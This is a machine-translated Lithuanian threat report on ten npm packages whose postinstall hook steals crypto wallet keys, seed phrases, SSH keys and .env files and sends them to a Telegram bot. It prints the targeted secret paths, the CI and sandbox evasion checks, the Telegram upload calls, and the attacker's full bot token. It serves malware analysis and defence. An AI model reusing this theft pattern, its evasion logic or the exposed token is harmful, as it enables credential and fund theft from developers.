Lt; DR
2026 m. birželio 9 d. viena npm leidėjo paskyra, aicrypto-xzggg, išsiųstas dešimt pakuočių su kriptovaliutų ir Web3 skonio pavadinimais — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ir dar šešis.
Kiekvienas paketas paleidžia tą pačią naudingąją informaciją iš postinstall kabliukas. Diegimo metu patikrinama, ar veikia CI viduje, ar smėlio dėžėje – jei ne, nuskaitoma piniginės raktų saugykla, pradinės frazės failai, SSH raktai ir .env failus iš šešių blokų grandinės ekosistemų ir perduoda juos „Telegram“ robotui.
Vienintelis rodiklis, kurio gynėjas gali nedelsdamas ieškoti, yra „Telegram“ roboto ID. 8227918239.
Sunkumas: kritinis — tiesioginė pasirašymo raktų ir atkūrimo frazių vagystė iš kūrėjų darbo stotys.
Ataka: kaip ji veikia
Paketai reklamuojasi kaip blokų grandinės kūrimo įrankiai. paketas.json yra minimalus ir nurodo diegimo gyvavimo ciklą į scenarijų:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scenarijai/postinstall.js yra vienos eilutės tarpinė plokštelė, kuri įkelia tikrąją naudingąją apkrovą: reikalauti („../src/index.js“). Nes po įdiegimo veikia automatiškai per npm įdiegtikūrėjui nereikia importuoti kodo – pakanka paketą įdėti į priklausomybių medį, kad jis būtų vykdomas.
Žudymo grandinė viduje src/index.js yra keturi žingsniai:
- Aplinkos patikrinimas. Apsaugos funkcija nusprendžia, ar pagrindinis kompiuteris atrodo kaip kūrimo agentas, ar kaip analizės smėlio dėžė.
- Delsimas. Vykdymas atidedamas vėliau setTimeout maždaug 7.4 sekundės.
- Kolekcija. Peržiūrimas fiksuotas piniginės, rakto ir slaptų failų kelių sąrašas; esami failai įtraukiami į eilę.
- Eksfiltracija. Eilėje esantys failai siunčiami į „Telegram“ robotą, prieš tai pateikiant santraukos pranešimą.
Kolekcijos tikslų sąrašas apima šešias grandines ir bendrinius kūrėjo slaptus raktus. Apipjaustyta:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Iš viso dvidešimt vienas kelias. Katalogo įrašai, pvz. ~/.ethereum/keystore yra išskleidžiami ir kiekvienas juose esantis failas įtraukiamas į eilę. Išfiltracijai tiesiogiai naudojama „Telegram Bot“ API – siųsti pranešimą iškvietimas su pagrindinio kompiuterio ir failo santrauka, tada a siųsti dokumentą kelių dalių įkėlimas kiekvienam failui:
tekstas
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Kodo surenkamas santraukos pranešimas prasideda pažodine eilute KRIPTOVAGIKAS, po kurio nurodomas pagrindinio kompiuterio pavadinimas, vartotojo vardas, pradinio paketo pavadinimas, failų skaičius ir laiko žyma.
Kas čia naujo
Skirtumas nėra vagystės mechanizmas – „Telegram“ pagrindu sukurta „exfil“ iš „npm“ po įdiegimo hooks yra gerai išmintas. Tai yra egzekucijos vartai. Prieš ką nors darydama, naudingoji apkrova iškviečia funkciją, kuri grąžina „true“, kai pagrindinis kompiuteris panašus į CI vykdiklį arba smėlio dėžę, ir grąžina „anksčiau“, kai taip yra:
tekstas
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Svarbu paminėti „container-id“ reguliariąją išraišką: 12 šešioliktainių simbolių pagrindinio kompiuterio pavadinimas yra numatytoji forma, kurią „Docker“ priskiria konteineris, todėl naudingoji apkrova „mano pagrindinio kompiuterio pavadinimas atrodo kaip „Docker“ konteineris“ traktuoja kaip priežastį likti neveikli. Kartu su septynių sekundžių vėlavimu, dizainas pirmenybę teikia paleidimui tikroje kūrėjo darbo stotyje ir tylėjimui bet kurioje vietoje, kur atrodo, kad analizė atliekama automatizuotai. Būtent šie vartai slopino dinaminės analizės signalus ir statinį failų srautą išlaikė pagrindiniu įtikinamojo įrodymu.
Chronologija
| Data (UTC) | renginys |
|---|---|
| 2026-06-09 ~02:48 | Pirmieji klasterio paketai pažymėti publikavimo metu (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Pažymėti nariai su aukštesnėmis versijomis (ethereum-kit-9 1.25.36, wallet-sdk-9 3.7.73 val.) |
| 2026-06-09 ~03:58–03:59 | Galutiniai nariai pažymėti (defi-tools-39 4.26.29, swap-sdk-87 4.63.78, farming-tools-12 4.68.54 val.) |
| 2026-06-09 | Visos dešimt klasifikuotos kaip kenkėjiškos ir praneštos apie registro pašalinimą |
Visi dešimt pasirodė maždaug per septyniasdešimt minučių – tai atitinka vieną scenarijaus publikavimo laikotarpį iš vienos paskyros.
Kompromiso rodikliai
Tinklo ir elgsenos indikatoriai (pagrindinis kompiuteris atjungtas):
| rodiklis | Reikšmė |
|---|---|
| Exfil galinis taškas | api[.]telegram[.]org („Telegram Bot“ API) |
| „Telegram“ roboto ID | 8227918239 |
| Boto žetonas | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| „Telegram“ pokalbių ID | 6433587894 |
| Įdiekite kabliuką | postinstall → scripts/postinstall.js → src/index.js |
| Žymeklio eilutė | CRYPTO STEALER surinktame santraukos pranešime |
| Leidėjas | aicrypto-xzggg (nurodytą el. pašto adresą vipsyria88@gmail[.]com, nepatvirtinta) |
Paketai ir versijos, kurių kiekvienas turi savo SHA-256 src/index.js naudingoji apkrova (naudingosios apkrovos yra funkciškai identiškos ir skiriasi tik įterptoje paketo pavadinimo etiketėje, todėl kiekviena maišos reikšmė yra skirtinga):
| Paketas | versija | src/index.js SHA-256 |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Paprasta paieškos užklausa: ieškokite diegimo žurnaluose ir užrakinimo failuose bet kurio iš dešimties pavadinimų ir ieškokite išorinio srauto, ar nėra ryšių su „Telegram Bot“ API iš kūrimo ar kūrėjo prieglobų, kurios kitaip jos nenaudoja.
Priskyrimas ir stebimas elgesys
Visus dešimt paketų paskelbė viena paskyra, aicrypto-xzggg, kurio nurodytas el. pašto adresas yra vipsyria88@gmail[.]comRegistro metaduomenyse nepatvirtinti nei el. pašto adresas, nei šaltinio valdymo nuoroda, o paskyros reputacijos įvertinimas yra labai neigiamas. Mes nepatvirtinome, kas valdo paskyrą.
Nuo bet kokio tapatybės teiginio verta atskirti dvi detales. Pirma, paketas.json autorius lauko rodmenys Alex Smith kiekviename pakete, o tikroji leidybos paskyra yra aicrypto-xzggg; autoriaus laukas yra savarankiškai deklaruojami metaduomenys ir nenustato autorystės. Antra, versijų numeriai labai skiriasi – kai kurie nariai dirba 1.0.0, kiti pas 4.68.54 — tai atitinka pakartotinį vienos naudingosios apkrovos naudojimą naujai sukurtuose paketų pavadinimuose, o ne realių išleidimo istorijų išlaikymą.
Elgesys visame klasteryje yra vienodas: tas pats tikslinių kelių sąrašas, tas pats „Telegram“ roboto ID ir pokalbių ID, tie patys aplinkos vartai, tas pats KRIPTOVAGIKAS žymeklis. Tas vienodumas yra stipriausias paketų ryšys. Tai to paties operatoriaus signalas, o ne tapatybė.
Poveikis, tendencijos ir gairės gynėjams
Atskleidimas yra konkretus. Kūrėjas, įdiegęs bet kurį iš šių paketų darbo stotyje, kurioje yra programinės įrangos piniginė, pradinės frazės failas arba SSH raktas, per kelias sekundes nuskaito šiuos failus ir perduoda juos iš pagrindinio kompiuterio. Atkūrimo frazės ir pasirašymo raktai negalioja taip, kaip sesijos prieigos raktas; kai tik mnemonika.txt arba „Solana“ id.json palieka aparatą, jo kontroliuojamos lėšos yra rizikingos, kol jos nėra pervestos. Tas pats vykdymas taip pat fiksuoja .NS failai, kuriuose paprastai yra API raktai ir duomenų bazės kredencialai.
Šią grupę lėmė dvi tendencijos. Pirmoji – nuolatinis kriptovaliutų ir „Web3“ tematikos pavadinimų naudojimas siekiant pritraukti konkrečią auditoriją – kūrėjus, kurie laiko pinigines ir raktus tame pačiame kompiuteryje, kuriame diegia priklausomybes. Antroji – vis labiau bręsta „smėlio dėžės“ apėjimo technologija diegimo metu vykdomuose naudinguosiuose duomenyse. Vartai, kurie tikrina CI aplinkos kintamuosius, vykdytojo vartotojo vardus ir „Docker“ konteinerio ID pagrindinio kompiuterio pavadinimo formą, yra sąmoningos pastangos analizės metu elgtis kitaip nei realioje darbo stotyje, ir tai pakelia kartelę grynai dinaminiam aptikimui.
Gynėjams:
Įdiegti su išjungtais scenarijais pagal numatytuosius nustatymus. npm diegimas – ignoruoti scenarijusarba nustatyti ignore-scripts=true in .npmrc, užkerta kelią po įdiegimo vykdymas; įjunkite scenarijus tik toms konkrečioms priklausomybėms, kurioms jų tikrai reikia.
Laikykite pinigines ir pasirašymo raktus atskirai nuo kūrimo ir kūrimo mašinų. Naudokite aparatinės įrangos piniginę arba dedikuotą, nuo priklausomybių nepriklausomą pasirašymo prieglobą.
Gydymai .NS, raktų saugyklas ir pradinės frazės failus kaip karūnos brangakmenius. Jie niekada neturėtų būti kataloge, kuris taip pat yra npm įdiegti darbinis medis.
Ieškokite išorinių jungčių prie „Telegram Bot“ API iš CI ir kūrėjų prieglobos. Daugumoje kūrimo aplinkų jos niekada neiškviečia; verta ištirti tokią, kuri staiga iškviečia šią funkciją iškart po įdiegimo.
Prisekite ir peržiūrėkite priklausomybes. Visiškai naujas paketas su bendriniu kriptovaliutos pavadinimu po įdiegimo kabliukas, ir jokios saugyklos nuorodos nereikia peržiūrėti prieš jai patenkant į užrakinimo failą.
Konteinerio ID vengimo sąlyga taip pat primena analitikams: diegimo metu rodomas turinys, kuris lieka neaktyvus smėlio dėžėje, nėra nekenksmingas, jis yra selektyvus. Statinė diegimo kelio peržiūra išlieka patikimu būdu pamatyti, ką dinaminis vykdymas gali nerodyti.
Nuorodos
npm diegimo dokumentacija — gyvavimo ciklo scenarijai ir –Ignoruoti scenarijus— nuoroda, kaip išjungti automatinį diegimą hooks.





